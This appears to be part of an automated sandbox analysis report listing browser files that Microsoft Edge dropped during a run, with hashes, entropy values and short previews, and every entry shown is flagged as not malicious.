G6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\69ca63ae-8724-486c-ae1d-0e5d4bbef05d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6746F109-1D28.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.5015295343244721
Encrypted:	false
SSDEEP:	6144:6bZOnnzlikcSh8F9HcqbVqawvaHS6j2a:ukcM87/y
MD5:	F10A6D907A7BC119B02ABDD4A2870BDA
SHA1:	33C1D0B39807C11282C383E8952519A37E493A9F
SHA-256:	3B541581E3B69CD97176B8BE52D6DCF9C5ACD9C98D9060EED0478DB4D4FD06A2
SHA-512:	1D888904B25117A49EDE1335CFED2DB4C910BD7D6D648E2C14C57A56BADC9B53B9DAA9C978696C8EF55FF7C8DA174969A317CD61CC16905FA728F4CD00CD9302
Malicious:	false
Preview:	...@..@...@.....C.].....@...............8...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ydtcub20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.................. .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0c0555ad-b200-4650-8909-d18c0a8853db.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17494), with no line terminators
Category:	dropped
Size (bytes):	17496
Entropy (8bit):	5.485283553589735
Encrypted:	false
SSDEEP:	384:stWPGQSu4usfwCDFpR+Bw5nlkz9bGwQw33G:sgOXuiwCF+jbG/cG
MD5:	EA7AE3EED7C0CC525EE22A76FE775ADF
SHA1:	974293C3DBE8ED9B190F15E641AAA45587B8172F
SHA-256:	0D289CAB5FDA76D4FDA8248A7F9529C4807DC0CA94028EA7A1BA1F22235C8207
SHA-512:	9EE068E51117D1F6B2B780E62D6637DAD962DA9BC13E2C9CE588B46C90D34119E02A6D258F4312E6314B059B3AEC65866C9F775B2168F0E002C57F30A69D3167
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377176074001445","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\137fefcb-9cc1-4da1-9260-fed1b3ae488d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557778910654815
Encrypted:	false
SSDEEP:	768:tthBDeWSE7pLGLPl8W5w1Jf4bS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPcEInUw0A:tntehIcPl8Wa1JfiSu1jaRNBtRZtd
MD5:	019DA48DE248EBE8023DAEAA48FBB990
SHA1:	B972A0439BA71F9FEAD054F2409EC2EC067AD536
SHA-256:	57F3F4DCEBC1FED3883F58B6908DB3FA221F5CA08286220B997B1B2E61E412AF
SHA-512:	FC079A53CF26157ED9EA65DDB0D5E6165E065C026467F7083FB43B516704BC5EDB8E4ED1EDA3A0D465BB601DC21CF37DCE77F03BA91680D0D74A88864DA029A5
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377176073436202","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377176073436202","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1c69d33d-6792-4804-9839-67c9ce868394.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\397cf5dd-bc5c-4941-947c-e7955d3e4fe1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4f8a31d3-6024-48d0-a179-97616309fdb5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561407962817941
Encrypted:	false
SSDEEP:	768:ttQBheWME7pLGLPK8W5w1Jf4mS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPSszEInUc:tKLejIcPK8Wa1JfRSu1jajszNCt77GcK
MD5:	7138D1124DE81DFFFCB20449C60DAAC4
SHA1:	D499346E6B844B7605872596C37A1BD7ADAF2A9F
SHA-256:	ABD64941E2F7986E67CB1A4E50361C18280B924378F951E5D7CF8B7C4744A7FC
SHA-512:	176D0BED6D3D5B01F93E9156E3513D6A0B50DE76E33F2E1526CD44D82B23B40256D0894876E825F815D7DD8D424089A7DCA05F38825F1EDAA3DB287CE6A33F01
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377176073436202","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377176073436202","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\57ea675f-9b93-4ff9-8121-b375613b979a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17329), with no line terminators
Category:	dropped
Size (bytes):	17331
Entropy (8bit):	5.488625325169819
Encrypted:	false
SSDEEP:	384:stWPGQSu4usfwCDFpR+Bw5nlkz9bGwQwkG:sgOXuiwCF+jbG/dG
MD5:	9DD0241381BA01DD57A564E5751A9FB4
SHA1:	292CB1C01C04673C44F389E368405B0C5F52B60E
SHA-256:	6C2767523DFE012B9E967EE72F3EEBED64AD595B319F58E32D8D5FDB0C55CC08
SHA-512:	ECA1ACD6B50CDE89B596226B56C4CCB7B570A91E367DFD26A1F8A402F13BF0E3C8653A7BC9A6C94B30026E2B5D4981F162CB385D66E64CF667D31F9E8F22E102
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377176074001445","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.248828720691903
Encrypted:	false
SSDEEP:	6:HCSB1N723oH+Tcwtp3hBtB2KLlVCi4q2PN723oH+Tcwtp3hBWsIFUv:fBaYebp3dFLIvVaYebp3eFUv
MD5:	A4B8DF4A8C2467A5026670CD89145387
SHA1:	63C3259062B1F405F6FA49C768E6D1E84392E055
SHA-256:	9E6E1947B20292409DCCB7394D24B5CE37541217E70371968EC5789002E75D8B
SHA-512:	5A225053D69699B46B88E94C71DCFE1E0972F406779189BCA4B7F3DCC5939411C2F226DF9735EEA7F7BB41C78C141B1D166F54CB957BC35B141E7A8F865AE210
Malicious:	false
Preview:	2024/11/27-05:14:38.265 2110 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/27-05:14:38.300 2110 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.2228770435363625
Encrypted:	false
SSDEEP:	24576:IbPMZpV5fI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpV5fx2mjF
MD5:	A0FE55446A904C15319A3BC7BB692D82
SHA1:	1407CC524608F30665A6619C12711F1114207141
SHA-256:	C040DAA4985C57F7334DBFB15B43B54609790754474FCA284E8D5CD4725977A0
SHA-512:	0257C646944497EE0D6C04CBF24F2F5E8400FD0BC7D505AC39402F300BE0E95872608EC1DB1C228223526CA6EF8608FD7DD1F083B73D93692C1143C1539FCBBB
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.118045859978513
Encrypted:	false
SSDEEP:	6:HCIrMNAVq2PN723oH+Tcwt9Eh1tIFUt8YCIdAgZmw+YCZAIkwON723oH+Tcwt9Er:V4OvVaYeb9Eh16FUt8an/+X5OaYeb9Er
MD5:	3F5D92CCEF5AD9BACF68A97551CA83CF
SHA1:	86B3A110F7B3B653CAACDB57397E4FA0374DBB3D
SHA-256:	D74D0231A263ADA7D832EAB3AC1F413D7C209DB72EA9B657298F95B45B3775A0
SHA-512:	0ED3A9AAEC7AF4B72D1159CFB589F572F4E1ADEB86BFE0C2D2B2FE75C645525C8A7066C2D20FE8EDE41558C87B6C9CB5FA460E0D84CDD439E1A79A8FDD39B8B1
Malicious:	false
Preview:	2024/11/27-05:14:38.054 22a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/27-05:14:38.055 22a0 Recovering log #3.2024/11/27-05:14:38.065 22a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.118045859978513
Encrypted:	false
SSDEEP:	6:HCIrMNAVq2PN723oH+Tcwt9Eh1tIFUt8YCIdAgZmw+YCZAIkwON723oH+Tcwt9Er:V4OvVaYeb9Eh16FUt8an/+X5OaYeb9Er
MD5:	3F5D92CCEF5AD9BACF68A97551CA83CF
SHA1:	86B3A110F7B3B653CAACDB57397E4FA0374DBB3D
SHA-256:	D74D0231A263ADA7D832EAB3AC1F413D7C209DB72EA9B657298F95B45B3775A0
SHA-512:	0ED3A9AAEC7AF4B72D1159CFB589F572F4E1ADEB86BFE0C2D2B2FE75C645525C8A7066C2D20FE8EDE41558C87B6C9CB5FA460E0D84CDD439E1A79A8FDD39B8B1
Malicious:	false
Preview:	2024/11/27-05:14:38.054 22a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/27-05:14:38.055 22a0 Recovering log #3.2024/11/27-05:14:38.065 22a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46227863942224456
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuXZ:TouQq3qh7z3bY2LNW9WMcUvBuXZ
MD5:	5DD09967884E8EC7754CBD3081B2CAA0
SHA1:	98A8DEE2846446BD6B2338DD704DE5BB1C38CBCE
SHA-256:	BBBFE2F9CDB020B91302F3F217DE13F0D7FD13AF50913BB8021E850B3AB6A297
SHA-512:	C99D2F285EEEB2CA89D906CDC49DE29F1AD0F9911EC20D6F1062BBD1DBC7E3FCA1C7BAEC01EDE9D6FFB95FC39A3766B45DB8AC556B5B84AD7069D582D19656CE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
